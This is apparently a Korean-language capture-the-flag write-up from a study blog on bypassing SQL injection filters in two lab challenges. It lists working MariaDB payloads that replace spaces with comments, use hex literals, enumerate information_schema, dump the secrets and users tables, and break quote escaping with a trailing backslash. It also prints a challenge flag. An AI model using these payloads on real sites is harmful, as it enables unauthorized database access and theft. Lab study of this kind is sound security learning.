오늘은 SQL Injection에서 필터 우회 가능성을 확인하는 방법에 대해서 공부했다.
SQLi 우회를 시도하기 전에 먼저 확인해야 할 것들이 여러 개 있다.
MySQL, MariaDB, PostgreSQL, MSSQL, Oracle처럼 DBMS마다 지원하는 문법과 함수, 문자열 처리 방식이 다르다.
예를 들어 이번 문제에서 사용한 database(), @@version, information_schema, group_concat() 등은 MySQL/MariaDB 환경에서 주로 사용하는 기능이다.
따라서 에러 메시지나 함수 실행 결과를 통해 DBMS 종류를 먼저 알아내면 이후 페이로드를 만들기가 훨씬 편해진다.
사용자의 입력이 SQL 쿼리의 어느 위치에 삽입되는지 확인해야 한다.
-- 문자열형
WHERE username = '$input'
-- 숫자형
WHERE id = $input
-- 조건식
WHERE $input
입력 위치에 따라 따옴표를 닫아야 하는지, 바로 AND나 OR를 사용할 수 있는지가 달라진다.
사용자 입력이 ' 또는 "로 감싸져서 쿼리에 들어가는지도 확인해야 한다.
또한 단순히 따옴표를 넣어보는 것에서 끝나는 게 아니라, 서버가 따옴표를 제거하는지, 백슬래시로 이스케이프하는지, 요청 자체를 차단하는지도 구분해야 한다.
공백, 개행, 주석, UNION, SELECT, OR 같은 문자가 필터링되는지도 확인해야 한다.
중요한 것은 처음부터 긴 페이로드를 넣는 것이 아니라, 문자와 키워드를 하나씩 추가하면서 어떤 부분에서 응답이 달라지는지 확인하는 것이다.
일단 큰 틀은 이렇게 생각하고 들어가면 된다. 세부적인 우회 방법은 너무 많아서 문제를 풀면서 하나씩 정리해야 할 것 같다.

홈페이지 생김새다.
가장 먼저 검색어를 입력할 수 있는 검색창이 눈에 띈다.
바로 검색창에 '를 입력해봤지만 아무것도 나오지 않았다. 여러 SQL 주석 기호와 간단한 조건식도 넣어봤지만 응답에서 별다른 변화를 확인하지 못했다.

검색창에서는 별다른 단서를 찾지 못해서 게시물을 하나 클릭해봤다.

URL을 확인해보니 id=3처럼 게시물 번호를 입력받는 지점이 보였다.
id 파라미터에 바로 '를 입력해봤다.

성공.
SQL 문법 오류가 발생했고, 에러 메시지를 통해 해당 입력값이 SQL 쿼리에 직접 들어가고 있다는 것을 알 수 있었다. 추가로 서버가 MariaDB를 사용한다는 정보도 확인할 수 있었다.
이제 취약한 입력 지점을 찾았으니 서버에 설정된 필터를 파악하고, 이를 우회해서 데이터베이스 내용을 조회하면 된다.
다만 처음 예상한 것처럼 단순히 ' OR '1'='1을 넣는 방식은 동작하지 않았다.
어떤 문자 때문에 페이로드가 실패하는지 확인하기 위해 입력을 조금씩 바꿔봤다.
1' OR '1'='1 → 안 됨
1'OR'1'='1 → 됨
1'\t... → 안 됨
1'\n... → 안 됨
1'/**/OR/**/x → 됨
AB'CD → 됨
테스트 결과 공백, 탭, 개행 문자는 차단되지만 OR, UNION, 따옴표, /**/ 형태의 주석은 통과하는 것으로 보였다.
따라서 공백이 필요한 위치에 /**/를 넣으면 필터를 우회할 수 있었다.
1/**/OR/**/1=1
DBMS는 /**/를 주석으로 처리하기 때문에 결과적으로 토큰 사이를 구분하는 공백과 비슷한 역할을 한다.
다만 UN/**/ION이나 O/**/R처럼 하나의 키워드 중간에 주석을 넣는 방식은 사용할 수 없다. 주석이 제거되면서 하나의 키워드가 되는 것이 아니라 UN과 ION처럼 서로 다른 토큰으로 인식될 수 있기 때문이다.
다음으로 id가 문자열형인지 숫자형인지 확인했다.
id=1/**/AND/**/1=1
-- POST: 글 출력
id=1/**/AND/**/1=2
-- NOTFOUND
id=0/**/OR/**/1=1
-- POST: 글 출력
참인 조건을 넣었을 때는 게시물이 출력되고, 거짓인 조건을 넣었을 때는 게시물이 출력되지 않았다.
또한 따옴표 없이도 AND, OR 조건식이 정상적으로 실행되는 것을 통해 id 값이 숫자형 문맥에 들어간다는 것을 확인했다.
대략적인 쿼리 구조는 다음과 같다고 추측할 수 있다.
SELECT ...
FROM posts
WHERE id = $id;
처음에는 문자열형 문맥이라고 생각했는데 헛다리를 짚었다.
UNION SELECT를 사용하려면 기존 쿼리와 SELECT문의 컬럼 개수가 같아야 한다.
그래서 반환하는 값의 개수를 하나씩 늘려봤다.
id=0/**/UNION/**/SELECT/**/1
id=0/**/UNION/**/SELECT/**/1,2
id=0/**/UNION/**/SELECT/**/1,2,3
id=0/**/UNION/**/SELECT/**/1,2,3,4
id=0/**/UNION/**/SELECT/**/1,2,3,4,5
1개부터 4개까지는 오류가 발생했지만, 5개를 넣었을 때는 페이지가 정상적으로 렌더링됐다.
따라서 기존 쿼리가 반환하는 컬럼은 총 5개라는 것을 확인했다.

물론 처음부터 바로 성공한 것은 아니다.
...SELECT/**/'1','2','3'
숫자형 문맥인데 불필요하게 따옴표를 사용하고, 전체 컬럼 수도 맞지 않아서 문법 오류가 발생했다.
이것도 헛다리 기록.
UNION SELECT 1,2,3,4,5의 각 숫자가 페이지의 어느 위치에 출력되는지 확인했다.
그 결과 화면의 로그 보관 정책이 표시되는 부분에 두 번째 컬럼의 값이 출력되는 것을 알 수 있었다. 따라서 조회하고 싶은 값을 두 번째 위치에 넣기로 했다.
id=0/**/UNION/**/SELECT/**/1,@@version,3,4,5
11.8.6-MariaDB
id=0/**/UNION/**/SELECT/**/1,database(),3,4,5
chall_4_1
id=0/**/UNION/**/SELECT/**/1,(SELECT/**/group_concat(table_name/**/SEPARATOR/**/0x0a)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()),3,4,5
posts
secrets
information_schema.tables에는 DBMS가 관리하는 테이블 정보가 들어 있다.
여기서 table_schema=database() 조건을 사용해 현재 데이터베이스에 속한 테이블만 조회했다. 0x0a는 개행 문자의 16진수 표현이라서 각 테이블 이름을 줄바꿈으로 구분할 수 있다.
secrets 테이블의 컬럼 확인id=0/**/UNION/**/SELECT/**/1,(SELECT/**/group_concat(column_name/**/SEPARATOR/**/0x0a)/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema=database()/**/AND/**/table_name=0x73656372657473),3,4,5
secret_name
secret_value
여기서 0x73656372657473은 문자열 secrets를 16진수로 표현한 값이다.
문자열을 16진수로 넣으면 따옴표를 사용할 필요가 없기 때문에 따옴표나 공백 필터가 있는 상황에서 유용하다.
secrets 테이블 덤프id=0/**/UNION/**/SELECT/**/1,(SELECT/**/group_concat(secret_name,0x3d,secret_value/**/SEPARATOR/**/0x0a)/**/FROM/**/secrets),3,4,5
0x3d는 = 문자의 16진수 값이다. 따라서 결과는 다음과 같은 형식으로 출력된다.
secret_name=secret_value

1번 끝!

2번 홈페이지에는 입력칸이 두 개나 보인다.
이번에는 게시판 자체에는 들어가지지 않는 것 같았다.
먼저 아무것도 입력하지 않고 검색 버튼을 눌러봤다.
author=&code=
URL에 이런 식으로 표시되는 것을 통해 author와 code라는 두 개의 파라미터를 연속으로 입력받는다는 것을 알 수 있었다.
요청 메서드도 GET이기 때문에 1번 문제처럼 URL의 파라미터를 직접 수정하면서 테스트할 수 있다.
대략적인 요청 구조는 다음과 같다.
?author=입력값&code=입력값
1번 문제에서 성공했던 패턴을 그대로 넣어봤지만 전부 무반응이었다.
에러도 발생하지 않았고, sleep()을 이용한 시간 지연도 확인되지 않았다.
그렇게 계속 입력해보던 중 결정적인 단서를 찾을 수 있었다.
code=x'
만약 따옴표가 아무런 처리 없이 SQL 쿼리에 들어갔다면 다음처럼 따옴표의 개수가 맞지 않아 문법 오류가 발생했을 것이다.
code = 'x''
그런데 오류 없이 정상 응답이 돌아왔다.
이를 통해 서버가 입력값에 포함된 '를 \'처럼 백슬래시로 이스케이프하고 있을 가능성을 생각할 수 있었다.
즉, 1번 문제처럼 따옴표를 직접 닫은 뒤 OR나 UNION을 이어 붙이는 방식은 사용할 수 없었다.
동작을 확인하기 위해 서버 쿼리 구조를 다음과 같이 추측했다.
SELECT ...
FROM posts
WHERE author = '$author'
AND code = '$code';
두 파라미터에 들어간 따옴표는 이스케이프되지만, 백슬래시 자체는 제대로 처리되지 않는 허점이 있다고 판단했다.
여기서 author 값으로 백슬래시 하나를 넣으면 애플리케이션이 author 뒤에 붙인 닫는 따옴표가 백슬래시에 의해 이스케이프된다.
author=\
그러면 원래 author 문자열을 닫아야 할 따옴표가 문자로 처리되고, 문자열이 뒤쪽의 code 영역까지 이어지게 된다.
그 상태에서 code에 SQL 구문을 넣으면 code 앞에 있던 따옴표가 앞에서부터 이어진 문자열을 닫는 역할을 하고, 그 뒤의 입력값은 SQL 문법으로 실행된다.
마지막에 서버가 붙이는 따옴표는 주석으로 제거하면 된다.
author=\ & code=OR 1=1-- -
실제 URL에서는 공백과 백슬래시를 URL 인코딩해서 전달하는 것이 안전하다.
?author=%5C&code=OR%201%3D1--%20-
이 입력이 쿼리에 들어가면 개념적으로 다음과 비슷한 구조가 된다.
WHERE author = '\' AND code = ' OR 1=1-- -'
author 뒤의 따옴표는 백슬래시에 의해 이스케이프되고, code 앞의 따옴표가 길어진 문자열을 닫는다. 그 뒤의 OR 1=1은 SQL 조건식으로 실행되며, 남은 따옴표는 -- - 주석으로 무시된다.

게시글 전부 반환 성공!
여기서는 1번 문제와 달리 공백 필터가 없어서 /**/로 공백을 대체하지 않아도 됐다.
참고로 MySQL/MariaDB에서 -- 주석 뒤에는 공백 또는 제어 문자가 필요하다. 그래서 보통 -- - 형태를 사용한다.
앞에서 사용한 백슬래시 우회 구조를 유지하면서 code 파라미터에 UNION SELECT를 넣었다.
author=\ & code=UNION SELECT 1,2,3,4,5-- -
1번 문제와 마찬가지로 컬럼 개수를 조절해본 결과 5개일 때 정상적으로 출력됐다. 출력 가능한 위치 역시 두 번째 컬럼이었다.
아래 페이로드들은 모두 author에 백슬래시를 넣은 상태에서 code 파라미터에 전달했다.
code=UNION SELECT 1,database(),3,4,5-- -
chall_4_2
code=UNION SELECT 1,(SELECT group_concat(table_name SEPARATOR 0x0a)
FROM information_schema.tables
WHERE table_schema=database()),3,4,5-- -
posts
users
code=UNION SELECT 1,(SELECT group_concat(table_name,0x3a,column_name SEPARATOR 0x0a)
FROM information_schema.columns
WHERE table_schema=database()),3,4,5-- -
0x3a는 : 문자의 16진수 값이다. 따라서 테이블 이름과 컬럼 이름을 테이블:컬럼 형태로 확인할 수 있다.
posts:id
posts:slug
posts:title
posts:author
posts:access_code
posts:body
posts:created_at
users:id
users:username
users:role
users:flag
users:created_at
여기서 users 테이블에 flag 컬럼이 있는 것을 발견했다.
users 테이블 덤프code=UNION SELECT 1,(SELECT group_concat(username,0x3a,role,0x3a,flag SEPARATOR 0x0a)
FROM users),3,4,5-- -
admin:administrator:CJCTF{4b2e9c7a1d6f8053c2a9187e6d5b4f30}
operator:staff:
guest:viewer:
플래그 획득 성공!
입력 컨텍스트를 먼저 확인한다.
입력값이 문자열형인지, 숫자형인지부터 확인해야 한다. 숫자형이라면 불필요하게 따옴표를 사용할 필요가 없다.
긴 페이로드보다 작은 입력부터 테스트한다.
처음부터 UNION SELECT를 넣기보다는 ', \, 공백, 참·거짓 조건 등을 하나씩 테스트하는 것이 필터의 동작을 파악하기 쉽다.
참·거짓 조건의 응답 차이를 비교한다.
AND 1=1과 AND 1=2처럼 결과가 확실히 다른 조건을 사용하면 SQL 구문이 실제로 실행되는지 판단할 수 있다.
무반응이라고 해서 안전한 것은 아니다.
에러 메시지가 보이지 않거나 입력값이 이스케이프되어 조용히 실패할 수도 있다. 이때는 응답 내용, 상태 코드, 페이지 길이, 응답 시간 등을 함께 비교해야 한다.
공백 필터는 토큰 사이를 다른 방식으로 구분할 수 있는지 확인한다.
이번 문제에서는 /**/가 공백 역할을 했다. 다만 키워드 중간을 무작정 주석으로 분리하면 문법이 깨질 수 있다.
문자열은 16진수 리터럴로 표현할 수 있다.
MySQL/MariaDB에서는 secrets를 0x73656372657473처럼 표현할 수 있다. 따옴표나 특정 문자가 필터링될 때 유용하다.
백슬래시 처리도 확인한다.
따옴표만 백슬래시로 이스케이프하고, 사용자가 입력한 백슬래시 자체는 처리하지 않으면 이번 2번 문제처럼 문자열 경계를 무너뜨릴 수 있다.
데이터 추출 순서를 정해두면 편하다.
UNION 컬럼 수 확인
→ 화면에 출력되는 컬럼 위치 확인
→ DBMS 버전 확인
→ 현재 DB 이름 확인
→ 테이블 목록 확인
→ 컬럼 목록 확인
→ 목표 데이터 추출
아직 SQL문도 익숙하지 않아서 그런지 파일 업로드 취약점보다 더 막막하고 어려웠다.
파일 업로드는 웹쉘이 실행되는지 비교적 바로 확인할 수 있었는데, SQLi는 현재 쿼리 구조와 입력 위치, 따옴표, 필터, DBMS 문법까지 같이 생각해야 해서 더 어려웠던 것 같다.
이건 뭐 자주 쓰고 익숙해져야 좀 할 만할 것 같다..
끗